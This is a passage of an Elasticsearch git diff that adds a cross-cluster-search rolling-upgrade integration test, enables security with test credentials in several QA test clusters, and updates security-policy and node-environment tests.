instanceOf(TcpTransport.class)); - for (TcpChannel channel : getAcceptedChannels((TcpTransport) serviceD.getOriginalTransport())) { - assertTrue(channel.isServerChannel()); - checkDefaultKeepAliveOptions(channel); - } + assertThat(serviceD.getOriginalTransport(), instanceOf(TcpTransport.class)); + for (TcpChannel channel : getAcceptedChannels((TcpTransport) serviceD.getOriginalTransport())) { + assertTrue(channel.isServerChannel()); + checkDefaultKeepAliveOptions(channel); } } } diff --git a/qa/ccs-rolling-upgrade-remote-cluster/build.gradle b/qa/ccs-rolling-upgrade-remote-cluster/build.gradle new file mode 100644 index 0000000000000..501ce6190b8a4 --- /dev/null +++ b/qa/ccs-rolling-upgrade-remote-cluster/build.gradle @@ -0,0 +1,86 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.Version +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.testclusters.StandaloneRestIntegTestTask + +apply plugin: 'elasticsearch.internal-testclusters' +apply plugin: 'elasticsearch.standalone-test' +apply plugin: 'elasticsearch.bwc-test' +apply plugin: 'elasticsearch.rest-resources' + +dependencies { + testImplementation project(':client:rest-high-level') +} + +for (Version bwcVersion : BuildParams.bwcVersions.wireCompatible) { + String baseName = "v${bwcVersion}" + String bwcVersionStr = "${bwcVersion}" + + /** + * We execute tests 3 times. + * - The local cluster is unchanged and it consists of an old version node and a new version node. + * - Nodes in the remote cluster are upgraded one by one in three steps. + * - Only node-0 and node-2 of the remote cluster can accept remote connections. This can creates a test + * scenario where a query request and fetch request are sent via **proxy nodes** that have different version. + */ + testClusters { + "${baseName}-local" { + numberOfNodes = 2 + versions = [bwcVersionStr, project.version] + setting 'cluster.remote.node.attr', 'gateway' + setting 'xpack.security.enabled', 'false' + } + "${baseName}-remote" { + numberOfNodes = 3 + versions = [bwcVersionStr, project.version] + firstNode.setting 'node.attr.gateway', 'true' + lastNode.setting 'node.attr.gateway', 'true' + setting 'xpack.security.enabled', 'false' + } + } + + tasks.withType(StandaloneRestIntegTestTask).matching { it.name.startsWith("${baseName}#") }.configureEach { + useCluster testClusters."${baseName}-local" + useCluster testClusters."${baseName}-remote" + systemProperty 'tests.upgrade_from_version', bwcVersionStr.replace('-SNAPSHOT', '') + + doFirst { + nonInputProperties.systemProperty('tests.rest.cluster', "${-> testClusters."${baseName}-local".allHttpSocketURI.join(",")}") + nonInputProperties.systemProperty('tests.rest.remote_cluster', "${-> testClusters."${baseName}-remote".allHttpSocketURI.join(",")}") + } + } + + tasks.register("${baseName}#oneThirdUpgraded", StandaloneRestIntegTestTask) { + dependsOn "processTestResources" + mustRunAfter("precommit") + doFirst { + testClusters."${baseName}-local".nextNodeToNextVersion() + testClusters."${baseName}-remote".nextNodeToNextVersion() + } + } + + tasks.register("${baseName}#twoThirdUpgraded", StandaloneRestIntegTestTask) { + dependsOn "${baseName}#oneThirdUpgraded" + doFirst { + testClusters."${baseName}-remote".nextNodeToNextVersion() + } + } + + tasks.register("${baseName}#fullUpgraded", StandaloneRestIntegTestTask) { + dependsOn "${baseName}#twoThirdUpgraded" + doFirst { + testClusters."${baseName}-remote".nextNodeToNextVersion() + } + } + + tasks.register(bwcTaskName(bwcVersion)) { + dependsOn tasks.named("${baseName}#fullUpgraded") + } +} diff --git a/qa/ccs-rolling-upgrade-remote-cluster/src/test/java/org/elasticsearch/upgrades/SearchStatesIT.java b/qa/ccs-rolling-upgrade-remote-cluster/src/test/java/org/elasticsearch/upgrades/SearchStatesIT.java new file mode 100644 index 0000000000000..e579e4a9cf8b1 --- /dev/null +++ b/qa/ccs-rolling-upgrade-remote-cluster/src/test/java/org/elasticsearch/upgrades/SearchStatesIT.java @@ -0,0 +1,254 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +/* + * Licensed to Elasticsearch under one or more contributor + * license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright + * ownership. Elasticsearch licenses this file to you under + * the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ + +package org.elasticsearch.upgrades; + +import org.apache.http.HttpHost; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.elasticsearch.Version; +import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsRequest; +import org.elasticsearch.action.admin.indices.delete.DeleteIndexRequest; +import org.elasticsearch.action.admin.indices.refresh.RefreshRequest; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.search.SearchResponse; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.RequestOptions; +import org.elasticsearch.client.Response; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestHighLevelClient; +import org.elasticsearch.client.indices.CreateIndexRequest; +import org.elasticsearch.cluster.metadata.IndexMetadata; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.xcontent.DeprecationHandler; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.json.JsonXContent; +import org.elasticsearch.test.hamcrest.ElasticsearchAssertions; +import org.elasticsearch.test.rest.ESRestTestCase; +import org.elasticsearch.test.rest.yaml.ObjectPath; + +import java.io.IOException; +import java.io.UncheckedIOException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import static org.hamcrest.Matchers.empty; +import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.not; + +/** + * This test ensure that we keep the search states of a CCS request correctly when the local and remote clusters + * have different but compatible versions. See SearchService#createAndPutReaderContext + */ +public class SearchStatesIT extends ESRestTestCase { + + private static final Logger LOGGER = LogManager.getLogger(SearchStatesIT.class); + private static final Version UPGRADE_FROM_VERSION = Version.fromString(System.getProperty("tests.upgrade_from_version")); + private static final String CLUSTER_ALIAS = "remote_cluster"; + + static class Node { + final String id; + final String name; + final Version version; + final String transportAddress; + final String httpAddress; + final Map attributes; + + Node(String id, String name, Version version, String transportAddress, String httpAddress, Map attributes) { + this.id = id; + this.name = name; + this.version = version; + this.transportAddress = transportAddress; + this.httpAddress = httpAddress; + this.attributes = attributes; + } + + @Override + public String toString() { + return "Node{" + + "id='" + id + '\'' + + ", name='" + name + '\'' + + ", version=" + version + + ", transportAddress='" + transportAddress + '\'' + + ", httpAddress='" + httpAddress + '\'' + + ", attributes=" + attributes + + '}'; + } + } + + static List getNodes(RestClient restClient) throws IOException { + Response response = restClient.performRequest(new Request("GET", "_nodes")); + ObjectPath objectPath = ObjectPath.createFromResponse(response); + final Map nodeMap = objectPath.evaluate("nodes"); + final List nodes = new ArrayList<>(); + for (String id : nodeMap.keySet()) { + final String name = objectPath.evaluate("nodes." + id + ".name"); + final Version version = Version.fromString(objectPath.evaluate("nodes." + id + ".version")); + final String transportAddress = objectPath.evaluate("nodes." + id + ".transport.publish_address"); + final String httpAddress = objectPath.evaluate("nodes." + id + ".http.publish_address"); + final Map attributes = objectPath.evaluate("nodes." + id + ".attributes"); + nodes.add(new Node(id, name, version, transportAddress, httpAddress, attributes)); + } + return nodes; + } + + static List parseHosts(String props) { + final String address = System.getProperty(props); + assertNotNull("[" + props + "] is not configured", address); + String[] stringUrls = address.split(","); + List hosts = new ArrayList<>(stringUrls.length); + for (String stringUrl : stringUrls) { + int portSeparator = stringUrl.lastIndexOf(':'); + if (portSeparator < 0) { + throw new IllegalArgumentException("Illegal cluster url [" + stringUrl + "]"); + } + String host = stringUrl.substring(0, portSeparator); + int port = Integer.parseInt(stringUrl.substring(portSeparator + 1)); + hosts.add(new HttpHost(host, port, "http")); + } + assertThat("[" + props + "] is empty", hosts, not(empty())); + return hosts; + } + + public static void configureRemoteClusters(List remoteNodes) throws Exception { + assertThat(remoteNodes, hasSize(3)); + final String remoteClusterSettingPrefix = "cluster.remote." + CLUSTER_ALIAS + "."; + try (RestHighLevelClient localClient = newLocalClient()) { + final Settings remoteConnectionSettings; + if (randomBoolean()) { + final List seeds = remoteNodes.stream() + .filter(n -> n.attributes.containsKey("gateway")) + .map(n -> n.transportAddress) + .collect(Collectors.toList()); + assertThat(seeds, hasSize(2)); + LOGGER.info("--> use sniff mode with seed [{}], remote nodes [{}]", seeds, remoteNodes); + remoteConnectionSettings = Settings.builder() + .putNull(remoteClusterSettingPrefix + "proxy_address") + .put(remoteClusterSettingPrefix + "mode", "sniff") + .putList(remoteClusterSettingPrefix + "seeds", seeds) + .build(); + } else { + final Node proxyNode = randomFrom(remoteNodes); + LOGGER.info("--> use proxy node [{}], remote nodes [{}]", proxyNode, remoteNodes); + remoteConnectionSettings = Settings.builder() + .putNull(remoteClusterSettingPrefix + "seeds") + .put(remoteClusterSettingPrefix + "mode", "proxy") + .put(remoteClusterSettingPrefix + "proxy_address", proxyNode.transportAddress) + .build(); + } + assertTrue( + localClient.cluster() + .putSettings(new ClusterUpdateSettingsRequest().persistentSettings(remoteConnectionSettings), RequestOptions.DEFAULT) + .isAcknowledged() + ); + assertBusy(() -> { + final Response resp = localClient.getLowLevelClient().performRequest(new Request("GET", "/_remote/info")); + assertOK(resp); + final ObjectPath objectPath = ObjectPath.createFromResponse(resp); + assertNotNull(objectPath.evaluate(CLUSTER_ALIAS)); + assertTrue(objectPath.evaluate(CLUSTER_ALIAS + ".connected")); + }, 60, TimeUnit.SECONDS); + } + } + + static RestHighLevelClient newLocalClient() { + final List hosts = parseHosts("tests.rest.cluster"); + final int index = random().nextInt(hosts.size()); + LOGGER.info("Using client node {}", index); + return new RestHighLevelClient(RestClient.builder(hosts.get(index))); + } + + static RestHighLevelClient newRemoteClient() { + return new RestHighLevelClient(RestClient.builder(randomFrom(parseHosts("tests.rest.remote_cluster")))); + } + + static int indexDocs(RestHighLevelClient client, String index, int numDocs) throws IOException { + for (int i = 0; i < numDocs; i++) { + client.index(new IndexRequest(index).id("id_" + i).source("f", i), RequestOptions.DEFAULT); + } + client.indices().refresh(new RefreshRequest(index), RequestOptions.DEFAULT); + return numDocs; + } + + void verifySearch(String localIndex, int localNumDocs, String remoteIndex, int remoteNumDocs) { + try (RestHighLevelClient localClient = newLocalClient()) { + Request request = new Request("POST", "/_search"); + final int expectedDocs; + if (randomBoolean()) { + request.addParameter("index", remoteIndex); + expectedDocs = remoteNumDocs; + } else { + request.addParameter("index", localIndex + "," + remoteIndex); + expectedDocs = localNumDocs + remoteNumDocs; + } + if (UPGRADE_FROM_VERSION.onOrAfter(Version.V_7_0_0)) { + request.addParameter("ccs_minimize_roundtrips", Boolean.toString(randomBoolean())); + } + int size = between(1, 100); + request.setJsonEntity("{\"sort\": \"f\", \"size\": " + size + "}"); + Response response = localClient.getLowLevelClient().performRequest(request); + try (XContentParser parser = JsonXContent.jsonXContent.createParser( + NamedXContentRegistry.EMPTY, DeprecationHandler.THROW_UNSUPPORTED_OPERATION, + response.getEntity().getContent())) { + SearchResponse searchResponse = SearchResponse.fromXContent(parser); + ElasticsearchAssertions.assertNoFailures(searchResponse); + ElasticsearchAssertions.assertHitCount(searchResponse, expectedDocs); + } + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } + + public void testBWCSearchStates() throws Exception { + String localIndex = "test_bwc_search_states_index"; + String remoteIndex = "test_bwc_search_states_remote_index"; + try (RestHighLevelClient localClient = newLocalClient(); + RestHighLevelClient remoteClient = newRemoteClient()) { + localClient.indices().create(new CreateIndexRequest(localIndex) + .settings(Settings.builder().put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, between(1, 5))), + RequestOptions.DEFAULT); + int localNumDocs = indexDocs(localClient, localIndex, between(10, 100)); + + remoteClient.indices().create(new CreateIndexRequest(remoteIndex) + .settings(Settings.builder().put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, between(1, 5))), + RequestOptions.DEFAULT); + int remoteNumDocs = indexDocs(remoteClient, remoteIndex, between(10, 100)); + + configureRemoteClusters(getNodes(remoteClient.getLowLevelClient())); + int iterations = between(1, 20); + for (int i = 0; i < iterations; i++) { + verifySearch(localIndex, localNumDocs, CLUSTER_ALIAS + ":" + remoteIndex, remoteNumDocs); + } + localClient.indices().delete(new DeleteIndexRequest(localIndex), RequestOptions.DEFAULT); + remoteClient.indices().delete(new DeleteIndexRequest(remoteIndex), RequestOptions.DEFAULT); + } + } +} diff --git a/qa/ccs-unavailable-clusters/build.gradle b/qa/ccs-unavailable-clusters/build.gradle index 5f24db03aed06..0d3e1662707dd 100644 --- a/qa/ccs-unavailable-clusters/build.gradle +++ b/qa/ccs-unavailable-clusters/build.gradle @@ -5,11 +5,16 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 'elasticsearch.standalone-rest-test' apply plugin: 'elasticsearch.rest-test' apply plugin: 'elasticsearch.test-with-dependencies' +testClusters.matching { it.name == "integTest" }.configureEach { + setting 'xpack.security.enabled', 'true' + user username: 'admin', password: 'admin-password', role: 'superuser' +} + dependencies { testImplementation project(":client:rest-high-level") } diff --git a/qa/ccs-unavailable-clusters/src/test/java/org/elasticsearch/search/CrossClusterSearchUnavailableClusterIT.java b/qa/ccs-unavailable-clusters/src/test/java/org/elasticsearch/search/CrossClusterSearchUnavailableClusterIT.java index 6ee4423c7c661..00f0fb99f6c45 100644 --- a/qa/ccs-unavailable-clusters/src/test/java/org/elasticsearch/search/CrossClusterSearchUnavailableClusterIT.java +++ b/qa/ccs-unavailable-clusters/src/test/java/org/elasticsearch/search/CrossClusterSearchUnavailableClusterIT.java @@ -38,7 +38,9 @@ import org.elasticsearch.cluster.node.DiscoveryNode; import org.elasticsearch.cluster.node.DiscoveryNodes; import org.elasticsearch.common.Strings; +import org.elasticsearch.common.settings.SecureString; import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.util.concurrent.ThreadContext; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.json.JsonXContent; import org.elasticsearch.search.aggregations.InternalAggregations; @@ -327,4 +329,12 @@ private HighLevelClient(RestClient restClient) { super(restClient, (client) -> {}, Collections.emptyList()); } } + + @Override + protected Settings restClientSettings() { + String token = basicAuthHeaderValue("admin", new SecureString("admin-password".toCharArray())); + return Settings.builder() + .put(ThreadContext.PREFIX + ".Authorization", token) + .build(); + } } diff --git a/qa/die-with-dignity/build.gradle b/qa/die-with-dignity/build.gradle index dc536c69f5704..7c82b38be0a6d 100644 --- a/qa/die-with-dignity/build.gradle +++ b/qa/die-with-dignity/build.gradle @@ -1,8 +1,8 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import org.elasticsearch.gradle.util.GradleUtils apply plugin: 'elasticsearch.java-rest-test' -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' esplugin { description 'Die with dignity plugin' @@ -21,6 +21,8 @@ tasks.named("javaRestTest").configure { testClusters.matching { it.name == "javaRestTest" }.configureEach { systemProperty "die.with.dignity.test", "whatever" + setting 'xpack.security.enabled', 'true' + user username: 'admin', password: 'admin-password', role: 'superuser' } tasks.named("test").configure { diff --git a/qa/die-with-dignity/src/javaRestTest/java/org/elasticsearch/qa/die_with_dignity/DieWithDignityIT.java b/qa/die-with-dignity/src/javaRestTest/java/org/elasticsearch/qa/die_with_dignity/DieWithDignityIT.java index d65781238230e..a42d6b5a43e01 100644 --- a/qa/die-with-dignity/src/javaRestTest/java/org/elasticsearch/qa/die_with_dignity/DieWithDignityIT.java +++ b/qa/die-with-dignity/src/javaRestTest/java/org/elasticsearch/qa/die_with_dignity/DieWithDignityIT.java @@ -10,7 +10,9 @@ import org.elasticsearch.client.Request; import org.elasticsearch.common.io.PathUtils; +import org.elasticsearch.common.settings.SecureString; import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.util.concurrent.ThreadContext; import org.elasticsearch.test.rest.ESRestTestCase; import java.io.BufferedReader; @@ -99,13 +101,14 @@ protected boolean preserveClusterUponCompletion() { @Override protected final Settings restClientSettings() { + String token = basicAuthHeaderValue("admin", new SecureString("admin-password".toCharArray())); return Settings.builder() .put(super.restClientSettings()) + .put(ThreadContext.PREFIX + ".Authorization", token) // increase the timeout here to 90 seconds to handle long waits for a green // cluster health. the waits for green need to be longer than a minute to // account for delayed shards .put(ESRestTestCase.CLIENT_SOCKET_TIMEOUT, "1s") .build(); } - } diff --git a/qa/evil-tests/build.gradle b/qa/evil-tests/build.gradle index f9ab9a6751e77..559aad2d0e2ed 100644 --- a/qa/evil-tests/build.gradle +++ b/qa/evil-tests/build.gradle @@ -12,7 +12,7 @@ * threads, etc. */ -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 'elasticsearch.standalone-test' dependencies { diff --git a/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/EvilSecurityTests.java b/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/EvilSecurityTests.java index fbc02fbc24354..7d0970747cee9 100644 --- a/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/EvilSecurityTests.java +++ b/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/EvilSecurityTests.java @@ -24,9 +24,6 @@ import java.security.Permissions; import java.util.Set; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.hasToString; - @SuppressForbidden(reason = "modifies system properties and attempts to create symbolic links intentionally") public class EvilSecurityTests extends ESTestCase { @@ -70,8 +67,7 @@ public void testEnvironmentPaths() throws Exception { Settings.Builder settingsBuilder = Settings.builder(); settingsBuilder.put(Environment.PATH_HOME_SETTING.getKey(), esHome.resolve("home").toString()); - settingsBuilder.putList(Environment.PATH_DATA_SETTING.getKey(), esHome.resolve("data1").toString(), - esHome.resolve("data2").toString()); + settingsBuilder.put(Environment.PATH_DATA_SETTING.getKey(), esHome.resolve("data1").toString()); settingsBuilder.put(Environment.PATH_SHARED_DATA_SETTING.getKey(), esHome.resolve("custom").toString()); settingsBuilder.put(Environment.PATH_LOGS_SETTING.getKey(), esHome.resolve("logs").toString()); settingsBuilder.put(Environment.NODE_PIDFILE_SETTING.getKey(), esHome.resolve("test.pid").toString()); @@ -112,9 +108,7 @@ public void testEnvironmentPaths() throws Exception { assertExactPermissions(new FilePermission(environment.pluginsFile().toString(), "read,readlink"), permissions); // data paths: r/w - for (Path dataPath : environment.dataFiles()) { - assertExactPermissions(new FilePermission(dataPath.toString(), "read,readlink,write,delete"), permissions); - } + assertExactPermissions(new FilePermission(environment.dataFile().toString(), "read,readlink,write,delete"), permissions); assertExactPermissions(new FilePermission(environment.sharedDataFile().toString(), "read,readlink,write,delete"), permissions); // logs: r/w assertExactPermissions(new FilePermission(environment.logsFile().toString(), "read,readlink,write,delete"), permissions); @@ -124,31 +118,6 @@ public void testEnvironmentPaths() throws Exception { assertExactPermissions(new FilePermission(environment.pidFile().toString(), "delete"), permissions); } - public void testDuplicateDataPaths() throws IOException { - assumeFalse("https://github.com/elastic/elasticsearch/issues/44558", Constants.WINDOWS); - final Path path = createTempDir(); - final Path home = path.resolve("home"); - final Path data = path.resolve("data"); - final Path duplicate; - if (randomBoolean()) { - duplicate = data; - } else { - duplicate = createTempDir().toAbsolutePath().resolve("link"); - Files.createSymbolicLink(duplicate, data); - } - - final Settings settings = - Settings - .builder() - .put(Environment.PATH_HOME_SETTING.getKey(), home.toString()) - .putList(Environment.PATH_DATA_SETTING.getKey(), data.toString(), duplicate.toString()) - .build(); - - final Environment environment = TestEnvironment.newEnvironment(settings); - final IllegalStateException e = expectThrows(IllegalStateException.class, () -> Security.createPermissions(environment)); - assertThat(e, hasToString(containsString("path [" + duplicate.toRealPath() + "] is duplicated by [" + duplicate + "]"))); - } - public void testEnsureSymlink() throws IOException { Path p = createTempDir(); diff --git a/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/PolicyUtilTests.java b/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/PolicyUtilTests.java index 870b0d216f968..ffe4b5d66273b 100644 --- a/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/PolicyUtilTests.java +++ b/qa/evil-tests/src/test/java/org/elasticsearch/bootstrap/PolicyUtilTests.java @@ -210,8 +210,10 @@ void assertIllegalPermissions(List illegalPermissions, PolicyParser pars } static final List PLUGIN_TEST_PERMISSIONS = List.of( + // TODO: move this back to module test permissions, see https://github.com/elastic/elasticsearch/issues/69464 + "java.io.FilePermission /foo/bar read", + "java.lang.reflect.ReflectPermission suppressAccessChecks", - "java.lang.RuntimePermission createClassLoader", "java.lang.RuntimePermission getClassLoader", "java.lang.RuntimePermission setContextClassLoader", "java.lang.RuntimePermission setFactory", @@ -270,8 +272,8 @@ public void testPrivateCredentialPermissionAllowed() throws Exception { } static final List MODULE_TEST_PERMISSIONS = List.of( - "java.io.FilePermission /foo/bar read", "java.io.FilePermission /foo/bar write", + "java.lang.RuntimePermission createClassLoader", "java.lang.RuntimePermission getFileStoreAttributes", "java.lang.RuntimePermission accessUserInformation" ); @@ -311,6 +313,8 @@ public void testModulePolicyAllowedPermissions() throws Exception { "java.lang.RuntimePermission setDefaultUncaughtExceptionHandler", "java.lang.RuntimePermission preferences", "java.lang.RuntimePermission usePolicy", + // blanket runtime permission not allowed + "java.lang.RuntimePermission *", "java.net.NetPermission setDefaultAuthenticator", "java.net.NetPermission specifyStreamHandler", "java.net.NetPermission setProxySelector", diff --git a/qa/evil-tests/src/test/java/org/elasticsearch/env/NodeEnvironmentEvilTests.java b/qa/evil-tests/src/test/java/org/elasticsearch/env/NodeEnvironmentEvilTests.java index 233af7905083d..8d24dd1bc2339 100644 --- a/qa/evil-tests/src/test/java/org/elasticsearch/env/NodeEnvironmentEvilTests.java +++ b/qa/evil-tests/src/test/java/org/elasticsearch/env/NodeEnvironmentEvilTests.java @@ -7,7 +7,6 @@ */ package org.elasticsearch.env; -import org.elasticsearch.common.io.PathUtils; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.test.ESTestCase; import org.elasticsearch.test.PosixPermissionsResetter; @@ -32,14 +31,13 @@ public static void checkPosix() throws IOException { public void testMissingWritePermission() throws IOException { assumeTrue("posix filesystem", isPosix); - final String[] tempPaths = tmpPaths(); - Path path = PathUtils.get(randomFrom(tempPaths)); + Path path = createTempDir(); try (PosixPermissionsResetter attr = new PosixPermissionsResetter(path)) { attr.setPermissions(new HashSet<>(Arrays.asList(PosixFilePermission.OTHERS_READ, PosixFilePermission.GROUP_READ, PosixFilePermission.OWNER_READ))); Settings build = Settings.builder() .put(Environment.PATH_HOME_SETTING.getKey(), createTempDir().toAbsolutePath().toString()) - .putList(Environment.PATH_DATA_SETTING.getKey(), tempPaths).build(); + .put(Environment.PATH_DATA_SETTING.getKey(), path).build(); IllegalStateException exception = expectThrows(IllegalStateException.class, () -> { new NodeEnvironment(build, TestEnvironment.newEnvironment(build)); }); @@ -50,8 +48,7 @@ public void testMissingWritePermission() throws IOException { public void testMissingWritePermissionOnIndex() throws IOException { assumeTrue("posix filesystem", isPosix); - final String[] tempPaths = tmpPaths(); - Path path = PathUtils.get(randomFrom(tempPaths)); + Path path = createTempDir(); Path fooIndex = path.resolve(NodeEnvironment.INDICES_FOLDER) .resolve("foo"); Files.createDirectories(fooIndex); @@ -60,7 +57,7 @@ public void testMissingWritePermissionOnIndex() throws IOException { PosixFilePermission.OWNER_READ))); Settings build = Settings.builder() .put(Environment.PATH_HOME_SETTING.getKey(), createTempDir().toAbsolutePath().toString()) - .putList(Environment.PATH_DATA_SETTING.getKey(), tempPaths).build(); + .put(Environment.PATH_DATA_SETTING.getKey(), path).build(); IOException ioException = expectThrows(IOException.class, () -> { new NodeEnvironment(build, TestEnvironment.newEnvironment(build)); }); @@ -70,8 +67,7 @@ public void testMissingWritePermissionOnIndex() throws IOException { public void testMissingWritePermissionOnShard() throws IOException { assumeTrue("posix filesystem", isPosix); - final String[] tempPaths = tmpPaths(); - Path path = PathUtils.get(randomFrom(tempPaths)); + Path path = createTempDir(); Path fooIndex = path.resolve(NodeEnvironment.INDICES_FOLDER) .resolve("foo"); Path fooShard = fooIndex.resolve("0"); @@ -85,7 +81,7 @@ public void testMissingWritePermissionOnShard() throws IOException { PosixFilePermission.OWNER_READ))); Settings build = Settings.builder() .put(Environment.PATH_HOME_SETTING.getKey(), createTempDir().toAbsolutePath().toString()) - .putList(Environment.PATH_DATA_SETTING.getKey(), tempPaths).build(); + .put(Environment.PATH_DATA_SETTING.getKey(), path).build(); IOException ioException = expectThrows(IOException.class, () -> { new NodeEnvironment(build, TestEnvironment.newEnvironment(build)); }); diff --git a/qa/evil-tests/src/test/java/org/elasticsearch/plugins/PluginSecurityTests.java b/qa/evil-tests/src/test/java/org/elasticsearch/plugins/PluginSecurityTests.java index 0b5dcfacd41a7..f7d781d26f0c9 100644 --- a/qa/evil-tests/src/test/java/org/elasticsearch/plugins/PluginSecurityTests.java +++ b/qa/evil-tests/src/test/java/org/elasticsearch/plugins/PluginSecurityTests.java @@ -54,7 +54,7 @@ public void testParseTwoPermissions() throws Exception { Set actual = PluginSecurity.getPermissionDescriptions(info, scratch); assertThat(actual, containsInAnyOrder( PluginSecurity.formatPermission(new RuntimePermission("getClassLoader")), - PluginSecurity.formatPermission(new RuntimePermission("createClassLoader")))); + PluginSecurity.formatPermission(new RuntimePermission("setFactory")))); } /** Test that we can format some simple permissions properly */ diff --git a/qa/evil-tests/src/test/java/org/elasticsearch/threadpool/EvilThreadPoolTests.java b/qa/evil-tests/src/test/java/org/elasticsearch/threadpool/EvilThreadPoolTests.java index 33e3c71f4920d..7ea6733879f8f 100644 --- a/qa/evil-tests/src/test/java/org/elasticsearch/threadpool/EvilThreadPoolTests.java +++ b/qa/evil-tests/src/test/java/org/elasticsearch/threadpool/EvilThreadPoolTests.java @@ -53,9 +53,8 @@ public void testExecutionErrorOnDefaultThreadPoolTypes() throws InterruptedExcep } public void testExecutionErrorOnDirectExecutorService() throws InterruptedException { - final ExecutorService directExecutorService = EsExecutors.newDirectExecutorService(); - checkExecutionError(getExecuteRunner(directExecutorService)); - checkExecutionError(getSubmitRunner(directExecutorService)); + checkExecutionError(getExecuteRunner(EsExecutors.DIRECT_EXECUTOR_SERVICE)); + checkExecutionError(getSubmitRunner(EsExecutors.DIRECT_EXECUTOR_SERVICE)); } public void testExecutionErrorOnFixedESThreadPoolExecutor() throws InterruptedException { @@ -98,7 +97,7 @@ public void testExecutionErrorOnSinglePrioritizingThreadPoolExecutor() throws In } public void testExecutionErrorOnScheduler() throws InterruptedException { - final ScheduledThreadPoolExecutor scheduler = Scheduler.initScheduler(Settings.EMPTY); + final ScheduledThreadPoolExecutor scheduler = Scheduler.initScheduler(Settings.EMPTY, "test-scheduler"); try { checkExecutionError(getExecuteRunner(scheduler)); checkExecutionError(getSubmitRunner(scheduler)); @@ -151,9 +150,8 @@ public void testExecutionExceptionOnDefaultThreadPoolTypes() throws InterruptedE } public void testExecutionExceptionOnDirectExecutorService() throws InterruptedException { - final ExecutorService directExecutorService = EsExecutors.newDirectExecutorService(); - checkExecutionException(getExecuteRunner(directExecutorService), true); - checkExecutionException(getSubmitRunner(directExecutorService), false); + checkExecutionException(getExecuteRunner(EsExecutors.DIRECT_EXECUTOR_SERVICE), true); + checkExecutionException(getSubmitRunner(EsExecutors.DIRECT_EXECUTOR_SERVICE), false); } public void testExecutionExceptionOnFixedESThreadPoolExecutor() throws InterruptedException { @@ -197,7 +195,7 @@ public void testExecutionExceptionOnSinglePrioritizingThreadPoolExecutor() throw } public void testExecutionExceptionOnScheduler() throws InterruptedException { - final ScheduledThreadPoolExecutor scheduler = Scheduler.initScheduler(Settings.EMPTY); + final ScheduledThreadPoolExecutor scheduler = Scheduler.initScheduler(Settings.EMPTY, "test-scheduler"); try { checkExecutionException(getExecuteRunner(scheduler), true); // while submit does return a Future, we choose to log exceptions anyway, diff --git a/qa/evil-tests/src/test/resources/org/elasticsearch/plugins/security/complex-plugin-security.policy b/qa/evil-tests/src/test/resources/org/elasticsearch/plugins/security/complex-plugin-security.policy index 65d7998c53179..47d7d3b044666 100644 --- a/qa/evil-tests/src/test/resources/org/elasticsearch/plugins/security/complex-plugin-security.policy +++ b/qa/evil-tests/src/test/resources/org/elasticsearch/plugins/security/complex-plugin-security.policy @@ -9,5 +9,5 @@ grant { // needed to cause problems permission java.lang.RuntimePermission "getClassLoader"; - permission java.lang.RuntimePermission "createClassLoader"; + permission java.lang.RuntimePermission "setFactory"; }; diff --git a/qa/full-cluster-restart/build.gradle b/qa/full-cluster-restart/build.gradle index a87fa65d31c49..334161795526a 100644 --- a/qa/full-cluster-restart/build.gradle +++ b/qa/full-cluster-restart/build.gradle @@ -8,13 +8,13 @@ import org.elasticsearch.gradle.Version -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import org.elasticsearch.gradle.testclusters.StandaloneRestIntegTestTask -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 